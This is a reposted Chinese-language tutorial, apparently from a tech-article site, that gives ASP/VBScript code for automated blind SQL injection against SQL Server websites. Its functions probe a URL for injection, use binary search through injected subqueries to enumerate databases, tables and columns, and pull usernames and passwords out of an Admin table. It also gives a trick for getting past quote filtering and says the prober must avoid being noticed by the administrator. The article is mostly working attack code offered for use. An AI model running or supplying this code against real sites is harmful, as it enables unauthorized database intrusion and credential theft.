网易彩票官方平台

自动探测SQL Server数据信息 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    看了SQL注入脚本后,笔者深受启发,不过美中不足的是文章中还有一些问题需要解决:

    1.字典支持问题:如果字典信息不够全面,或者说字典中没有我们数据库中所具有的信息,如数据库表名,字段名,那我们的注入行动只是浪费时间而已,

自动探测SQL Server数据信息

    2.缺乏对汉字的支持:现在很多朋友都在使用汉字作为平时的密码和帐户,汉字的出现频率是非常高的。

    3.Access版本,不支持SQL Server。

    下面进入正题。本文的目的就是要实现SQL Server中所有的数据库名、表名、字段名以及表中的数据信息的自动探测,并重点阐述以下几个问题:

    1. 如何快速判断SQL Server中的数据库的数量;

    2. 如何快速判断特定数据库中数据表的数量;

    3. 如何快速找出特定数据库中所有的数据表名称;

    4. 如何快速找出特定数据表所有中的字段的数量及名称;

    在以上的问题解决后,对数据表中所有数据信息的探测的问题就迎刃而解了,即使你想在本地重构远程SQL server数据库中信息,只要你有足够多的时间,答案也是OK的。

    漏洞检测

    原理我不多说了,我只是给出我的实现函数。顺便补充一点,本文是在ASP环境下,所有代码都通过ASP实现。我们先看一段主体代码,用来实现探测信息并确定是不是存在漏洞:

    Function Find_Hole(iUrl)

    dim turl,Body1,Body2,Body3,body4,Status1,Status2,Status3,status4

    call xmlPost(iUrl,Status1, Body1)

    turl=iUrl&"’"

    call xmlPost(iUrl,Status2, Body2)

    turl=iUrl&" and 1=1"

    call xmlPost(tUrl,Status3, Body3)

    turl=iUrl&" and 1<>1"

    call xmlPost(tUrl,Status4, Body4)

    if Status1<>500 and Status3<>500 and Status4=500 and Body1<>Body4 and Body3<>Body4 then

    Find_Hole=true

    else

    Find_Hole=False

    end if

    End Function

    Find_Hole(iUrl)函数用于判断测试地址是否存在注入漏洞,通过ByRef引用方式返回远程主机反馈的信息。其中body是远程主机的反馈信息,status是页面返回状态,你可以在程序中引用它们,并设计出自己的判断函数。

    Find_Hole(iUrl) 函数中引用的两个函数如下:

    Sub xmlPost(iUrl,ByRef Status, ByRef Body)

    Dim xPost

    On Error Resume Next

    Set xPost = CreateObject("Microsoft.XMLHTTP")

    xPost.open "POST",iUrl,false

    xPost.Send

    Status = xPost.Status

    Body = bytes2BSTR(xPost.responseBody)

    Set xPost = Nothing

    End Sub

    Function bytes2BSTR(vIn)

    ‘这个函数可以实现中文的正常显示

    dim strReturn,i, ThisCharCode, NextCharCode

    strReturn = ""

    For i = 1 To LenB(vIn)

    ThisCharCode = AscB(MidB(vIn,i,1))

    If ThisCharCode < &H80 Then

    strReturn = strReturn & Chr(ThisCharCode)

    Else

    NextCharCode = AscB(MidB(vIn,i+1,1))

    strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

    i = i + 1

    End If

    Next

    bytes2BSTR = strReturn

    End Function

    判断数据库数量

    这里我们需要利用数据表“master.dbo.sysdatabases”,实现函数如下:

    Function Get_DB_Num()

    dim DBMinNum,DBMaxNum

    DBMinNum=5 ’SQL Server中数据库最小数目,由于前几个为系统数据库,所以这儿设置为5。

    DBMaxNum=50 ’SQL Server中数据库最大数目。可自己更改。

    CheckDBNum="and (select count(*) from master.dbo.sysdatabases)>[N]"

    Get_DB_Num=Get_Len(iUrl&CheckDBNum,DBMinNum,DBMaxNum)

    end function

    下面重点介绍长度判断函数Get_len():

    Function Get_Len(iUrl,minlen,maxlen)

    ’使用前提条件:存在注入漏洞

    if ReturnOk(Replace(iUrl,"[N]",maxlen)) then Get_Len=-1 ’实际长度大于最大预设长度返回 -1。

    exit function

    end if

    if not ReturnOk(Replace(iUrl,"[N]",minlen-1)) then Get_Len=-2 ’实际长度小于最小预设长度返回-2。

    exit function

    end if

    if maxlen-minlen=1 then

    if ReturnOk(Replace(iUrl,"[N]",(maxlen+minlen)/2)) then

    Get_Len=maxlen

    else

    Get_Len=minlen

    end if

    exit function

    end if

    midlen=int((minlen+maxlen)/2)

    if ReturnOk(Replace(iUrl,"[N]",Midlen)) then Get_len=Get_Len(iUrl,midlen,maxlen)

    else

    Get_len=Get_Len(iUrl,minlen,midlen)

    end if

    End Function

    此函数使用折半算法,迅速缩小判断范围。在本文中使用非常广泛,只要构造出适当的查询条件,就会有意想不到的收获,如判断汉字的Unicode编码,在0-65535之间,只需要16次判断,就肯定能得到特定汉字的unicode码!

    程序中的ReturnOk函数用来判断远程主机的返回状态,页面返回正常为真。其代码如下:

    Function ReturnOK(iUrl)

    dim iPost

    On Error Resume Next

    Set iPost = CreateObject("Microsoft.XMLHTTP")

    iPost.open "POST",iUrl,false

    iPost.Send

    if iPost.Status<>500 then

    ReturnOk=True

    else

    ReturnOk=False

    end if

    Set iPost = Nothing

    End Function

    其实ReturnOK函数就是上面的xmlPost过程的简化。你可以根据实际情况,编写自己的返回判断函数。

    判断数据库名称

    在“master.dbo.sysdatabases”表中dbid、name两个字段记录中SQL Server中的所有数据库名称信息。其中dbid的范围是1~数据库总数,name字段则记录了数据库名称信息。其实现函数如下:

    Function Get_DBName(iUrl,dbid)

    Dim MinLen ,MaxLen

    MinLen=1 ’数据库名称最小长度。

    MaxLen=50 ’数据库名称最大长度。

    Get_DBName=GetFieldValue(iurl,"master.dbo.sysdatabases","name","dbid",dbid,MinLen ,MaxLen)

    End Function

    这儿利用了GetFieldValue函数,它可以得到给定数据表中特定ID值时某个字段的信息。注意:SQL中的字符处理函数与Access不同。请看下表:

    Access SQL Server 说明

    asc(字符) unicode(字符) 返回某字符的编码

    chr(数字) nchar(数字) 与asc相反,根据数字编码返回字符

    mid(字符串,N,L)

    substring(字符串,N,L)

    返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

    Get_Field_Name函数是信息获取的具体实现步骤的模拟,函数中用到了Get_Len(iUrl,0,65535)函数,由于SQL 中汉字用Unicode编码,其范围是[0-65535]。程序中用到汉字的猜解,见我的另外一篇文章《SQL自动注入中的汉字问题》一文,下面是详细的代码:

    Function GetFieldValue(iUrl,TableName,FieldName,PrimaryKey,PKValue,minlen,maxlen)

    ’TableName是所要猜的表名。

    ’FieldName是所要猜的字段名。

    ’PrimaryKey主键名称。

    ’PKValue主键值。

    dim checkLen,flen,checkfieldvalue

    CheckLen=" and 1=(select count(*) from [TABLE] Where [IDN]=[ID] and Len([FN])>[N])"

    CheckLen=Replace(CheckLen,"[TABLE]",TableName)

    CheckLen=Replace(CheckLen,"[FN]",FieldName)

    CheckLen=Replace(CheckLen,"[IDN]",PrimaryKey)

    CheckLen=Replace(CheckLen,"[ID]",PKValue)

    FLen=Get_Len(iUrl&CheckLen,minlen,maxlen)

    CheckFieldValue=" and 1=(select count(*) from [TABLE] where [IDN]=[ID] and unicode(substring([FN],[POS],1))> [N])"

    CheckFieldValue=Replace(CheckFieldValue,"[TABLE]",TableName)

    CheckFieldValue=Replace(CheckFieldValue,"[FN]",FieldName)

    CheckFieldValue=Replace(CheckFieldValue,"[IDN]",PrimaryKey)

    CheckFieldValue=Replace(CheckFieldValue,"[ID]",PKValue)

    GetFieldValue=Get_Field_Name(iUrl&CheckFieldValue,Flen)

    end Function

    Function Get_Field_Name(iUrl,Flen)

    dim conn , i,rs,ch,SQL,result

    result=""

    set conn=GetConnection(server.MapPath("UnicodeMap.mdb"),"")

    For i= 1 To Flen

    ch= Get_Len(Replace(iUrl,"[POS]",i),0,65535)

    SQL="select chr from GB18030 where DU="&ch

    set rs=get_rs(conn,SQL,1)

    if rs.recordcount=1 then

    result=result&rs(0)

    else

    result=result&"&#"&ch

    end if

    rs.close

    set rs=nothing

    Next

    conn.close

    set conn=nothing

    Get_Field_Name=result

    end Function

    猜解特定数据库中数据表

    这里利用库名“.dbo. dbo.sysobjects”,库名“.dbo. dbo.sysobjects”的数据表中有xtype、id、name 三个字段,

电脑资料

自动探测SQL Server数据信息》(http://www.unjs.com)。通过指定查询条件xtype=’U’,可以得到用户数据表的数量。而要实现数据表名的猜解,我们可以利用id、name这两个字段,其中name字段中记录着我们最关心的数据表名。想要定位到数据表“库名.dbo. dbo.sysobjects”中的具体某个记录,我们只好通过id字段来实现。但是,由于id字段中的数值一般都比较大,动不动就上亿,如果通过列举每一个id值来判断,如果时间允许的话,肯定是可以实现的,只不过我没有这份耐心:试想,光判断一个id值就需要上亿次判断,需要一个小时?一天?一周?如果得到所有的信息,天知道要多久?反正我最新买的PⅣ2.8电脑,通过ADSL上网的方式是承受不了这样的时间的。所以现在我们首要的任务如何设计出有效的算法,快速定位id值。

    下面是我写的实现函数,个人觉得还不错,大家一起来看看:先假设我们要查询的ID在初始窗口中,如果不满足条件,数据窗口下限值修改为原窗口的上限值,窗口宽度增加一倍,即上限值增加原窗口宽度的两倍,然后在新窗口中查询;如果满足条件,数据窗口下限值不变,上限值减少原窗口宽度的一半,然后在新窗口中继续判断;如果判断条件设置正确,浮动窗口的宽度一定后收敛到1。然后两个ID中判断。选择其中一个ID判断,如果满足条件则找到这个ID值只是我们所要查询的结果,如果不满足,则为另外一个。

    Function Get_Table_ID(iUrl,FID,EID,op1,op2)

    ’op1是当前状态。

    ’op2是上次操作状态。

    ’op1,op2,结果=1发现在[FID,EID]内存在,=0则不存在。

    dim tUrl,diff,HD,DD

    diff=EID-FID

    if diff=1 then

    tUrl=replace(iUrl,"[FID]",FID)

    tUrl=replace(tUrl,"[EID]",EID)

    if ReturnOK(tUrl) then

    EID=FID

    end if

    Get_Table_ID=EID

    exit Function

    end if

    HD=int(diff/2)

    DD=diff*2

    If op1=0 and op2=1 then

    EID=EID-diff*3/4

    DD=DD/8

    end if

    tUrl=replace(iUrl,"[FID]",FID)

    tUrl=replace(tUrl,"[EID]",EID)

    if ReturnOK(tUrl) then

    Get_Table_ID=Get_Table_ID(iUrl,FID,FID+HD,1,op1)

    else

    Get_Table_ID=Get_Table_ID(iUrl,EID,EID+DD,0,op1)

    end if

    End Function

    参数赋值:

    FID=0 ‘检查ID范围窗口的下限初始值。

    EID=FID+1048576 ‘检查ID范围窗口的上限初始值,1048576是初始检查窗口的宽度。

    CheckTableID=" and (select count(*) from "&DBName&".dbo.sysobjects where xtype=’U’ and id>=[FID] and id<[EID] )>=1" ‘查询条件。

    函数调用:

    TableId=Get_Table_ID(iUr&CheckTableID,FID,EID,0,0)

    下次调用,窗口的下限初始值设置为FID= Tableid+1

    通过以上算法,我们就可以快速查到ID,对于数量级为亿的ID,一般通过30多次的判断,最多不超过40次,我们就可以得到满足条件的值了。相对于一个一个的枚举,现在你是不是用节省的时候去美美的睡一觉了呢?

    得到了ID值,数据表名的获取就是一件轻松的事情了:

    CheckTableNum=" and (select count(*) from "&DBName&".dbo.sysobjects where xtype=’U’ )>[N]"

    TableNum=Get_Len(iUrl&CheckTableNum, TableMinNum,TableMaxNum)

    TableName=GetFieldValue(iUrl,DBName&".dbo.sysobjects","name","id",Tableid,1,100)

    猜解数据表所有字段

    这里需要利用数据表“库名.dbo. dbo.columns”,“库名.dbo. dbo.columns”中三个关键字段分别是name、id和colid,其中“id”是数据表的ID值,刚才我们已经得到;“Colid”是字段的ID值,从1到最大字段数量;“Name”就是我们的目标了。

    有了探测数据库名称、数据表名称的经验,下面所有的事情都变得非常简单。先来看字段数量的获取:

    CheckColumnNum=" and (select count(*) from "&DBName&".dbo.syscolumns where id="&TableId&" )>[N]"

    ColumnNum=Get_Len(iUrl&CheckColumnNum, 0,1000)

    在这儿,我们不能再通过GetFieldValue函数去探测字段名称,这是因为查询条件发生了变化。在探测数据库名称、数据表名称的时候都是一个限定条件就可以查出唯一结果,但现在的情况是要通过id、colid两个限定条件才能唯一确定字段的名称。

    其实字段名称探测的实现函数的原理跟探测数据库名称、数据表名称的时候一样,在此就不列举了。

    获取数据库中敏感信息

    经过以上的探测,数据库整个框架结构已经摆在你的面前了,下面我们要做的就是收集我们所感兴趣的信息。对什么信息感兴趣?别问我,那可是你的事情。如果你对所有的数据都有好奇心,恭喜你,你是可以做到的,不过前提条件是你有足够多的时间,而且系统管理员在这段时间里没有察觉你的探测行为。你所花费的时间就是一次探测所花费的时间*16(单个字符包括汉字探测的次数)*你所获取的信息的字符个数。慢慢等着吧!不过我没有这个闲情逸致。[Admin]表中id、username、password是我的兴趣所在,猜咯:

    CheckDataNum=" and (select count(*) from "&DBName&".dbo.Admin )>[N]"

    UserNum=Get_Len(iUrl&CheckDataNum, 0,100)

    UserName=GetFieldValue(iUrl,DBName&".dbo.Admin","username","id",userid,1,100)

    Password=GetFieldValue(iUrl,DBName&".dbo.Admin","password","id",userid,1,100)

    至于userid的获取,可以通过上面所介绍的数据表ID的获取办法来实现。

    CheckUserID=" and (select count(*) from "&DBName&".dbo.Admin where id>=[FID] and id<[EID] )>=1" ‘查询条件Userid=Get_Table_ID(iUr&CheckUserID,FID,EID,0,0)

    至此,我的任务已经完成,剩下的事情,大家去发挥吧。

    小结

    1. 对某个数据库数据信息的探测,有一个重要的前提:当前数据连接用户必须拥有对该数据库访问的权限。如果没有,就不用浪费时间了。

    2. 如果程序过滤了单引号,将查询条件中的xtype=’U’修改为xtype= char(85)后可以继续工作。

    3. 如果探测的数据量很大,可能花费的时间就很长。为避免脚本执行超时,请在程序开始部分将Server.ScriptTimeOut的值设置大一点。为了下次能接着以前的结果注入下去,可以在程序中写个日志处理函数,将探测结果记录下来,保存在文件或数据库中,避免不必要的重复工作。在我的程序源码中充分体现了这一点。

最新文章